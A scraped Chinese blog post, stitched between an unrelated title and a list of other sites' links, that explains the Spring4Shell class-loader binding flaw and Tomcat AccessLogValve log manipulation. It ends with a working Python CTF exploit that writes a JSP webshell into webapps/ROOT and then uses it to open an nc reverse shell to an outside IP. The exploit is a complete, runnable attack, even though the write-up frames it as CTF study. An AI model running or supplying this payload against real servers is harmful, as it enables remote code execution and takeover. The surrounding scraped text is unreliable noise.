当前位置: 首页 > news >正文

asp全静态企业网站wordpress文章封面

asp全静态企业网站,wordpress文章封面,上海集团网站建设,合肥找工作最新招聘信息目录 原理概览 漏洞简述 Tomcat AccessLogValve 和 access_log 例题: 原理概览 spring框架在传参的时候会与对应实体类自动参数绑定#xff0c;通过“.”还可以访问对应实体类的引用类型变量。使用getClass方法#xff0c;通过反射机制最终获取tomcat的日志配置成员属性…目录 原理概览 漏洞简述 Tomcat AccessLogValve 和 access_log 例题: 原理概览 spring框架在传参的时候会与对应实体类自动参数绑定通过“.”还可以访问对应实体类的引用类型变量。使用getClass方法通过反射机制最终获取tomcat的日志配置成员属性通过set方法修改目录、内容等属性成员达到任意文件写入的目的。 漏洞简述 bean的四个特点 1.所有属性均为private 2.提供默认的构造方法 3.提供getter和setter方法来操作属性 4.实现Serializable接口 SpringIoC的参数绑定 当控制器方法接收参数为一个bean时提交参数会调用bean的setter方法 不仅可以对控制器参数中的bean属性赋值还可以对属性的属性进行赋值 例如 password123usernameZ3r4ycard.cid123456 user.getCard.setCid123456 user.setUsernameZ3r4y user.setPassword123 拓展 2010年爆出CVE通过内省机制强制给bean赋值拿到classLoader通过URL属性远程标签重写实现rce 通过bean对象的内省机制可以拿到class对象拿到classLoader然后就可以加载恶意类 http://localhost:8080/user?class.classLoader.URLs[0]jar:http://127.0.0.1:8888/spring-jar.jar!/ 修补 Tomcat的修补方式 检查getter方法时拿到的属性是classLoader就直接卡死报错 Apache的修补方法 针对getURLS这个方法将返回值改为clone非同一个对象 时间过了7年在2017年 java迎来了1.9版本引入了Module机制 user.getClass().getModule().getClassLoader() 这个漏洞就开始存在了一直在野利用 时间又过了5年到了2022年 这个漏洞终于浮出水面新加入的特性没有兼容旧的漏洞修补造成漏洞利用的绕过 如果配合org.apache.catalina.valves.AccessLogValve类的⽇志参数值可以直接将恶意代码写⼊服务器例如 写⼊shell.jsp作为webshell后⻔从⽽实现远程代码执⾏。 Tomcat AccessLogValve 和 access_log Tomcat的 Valve ⽤于处理请求和响应通过组合了多个 Valve 的 Pipeline 来实现按次序对请求和响应 进⾏⼀系列的处理。其中 AccessLogValve ⽤来记录访问⽇志access_log。Tomcat的 server.xml 中默认 配置了 AccessLogValve 所有部署在Tomcat中的Web应⽤均会执⾏该 Valve 内容如下 参数含义 - directoryaccess_log⽂件输出⽬录。 - prefixaccess_log⽂件名前缀。 - patternaccess_log⽂件内容格式。 - suffixaccess_log⽂件名后缀。 - fileDateFormataccess_log⽂件名⽇期后缀默认为 .yyyy-MM-dd 。 Valve classNameorg.apache.catalina.valves.AccessLogValve directorylogs prefixlocalhost_access_log suffix.txt pattern%h %l %u %t quot;%rquot; %s %b / 例题: web101 import requests import timeurl http://2cc61a3d-98f6-4c62-b3f2-d3c8d93504f5.challenges.ctfer.com:8080/local_addr124.222.136.33 local_port1337def get_shell():header{cmd:%Runtime.getRuntime().exec(request.getParameter(new String(new byte[]{97})))%}requests.get(headersheader,urlurl?class.module.classLoader.resources.context.parent.pipeline.first.pattern%25%7bcmd%7diclass.module.classLoader.resources.context.parent.pipeline.first.suffix.jspclass.module.classLoader.resources.context.parent.pipeline.first.directorywebapps%2fROOTclass.module.classLoader.resources.context.parent.pipeline.first.prefixshellclass.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat)print(请等待getShell)time.sleep(2)response requests.get(urlurlshell.jsp?anc local_addr local_port -e /bin/sh)if Process in response.text:print(已经成功反弹)else:print(反弹失败response.text)if __name__ __main__:get_shell() 成功反弹shell
http://www.w-s-a.com/news/12460/

相关文章:

  • 电白区住房和城乡建设部门户网站免费公司网站模版
  • 做玩游戏任务得q币的网站如何制作自己的公司内部网站
  • 网站优化自己可以做吗非官方网站建设
  • 厦门邮件网站点击网站
  • 网络推广网站的方法亳州网站制作公司
  • 网站域名主机空间区别广告设计专业前景
  • 新手做啥网站好dedecms网站的源码如何安装
  • 哪些网站是用iframe免费网站域名查询
  • 自己开的网站 可以做代销吗百度查找相似图片
  • 网站建设设计作业网站备案渝
  • 中国重庆网站建设福州短视频seo获客
  • 遵义官网网站建设网站移动端开发公司
  • 宜春网站推广优化电子商务网站建设收益举例
  • 游戏网站开发实验报告装修平台哪家好
  • 外贸自己建网站小红门网站建设
  • 中国著名的做网站渗透设计规范网站
  • 公司网站备案多少钱推特最新消息今天
  • 网站关键词设置代码seo搜索优化 指数
  • 做网站卖东西送上门做暧暧xoxo网站
  • 网站网站设计公司网站维护运营好做吗
  • 照片做成视频的软件seo两个域名一个网站有影响吗
  • 制作动画的网站河南省住房城乡建设门户网站
  • 网站推广原则做网站的那个语言好
  • 潍坊网站建设怎样商品网站建设设计思路
  • 建网站公司是如何赚钱南昌营销网站公司哪家好
  • 淘宝客网站管理质量好网站建设费用
  • 网站建设教程搭建青岛中企动力做网站怎么样
  • wordpress最底部网站优化怎么弄
  • 二手市场网站建设的目的长沙ui设计公司
  • 微信公众号做留言网站wordpress详情页选择模板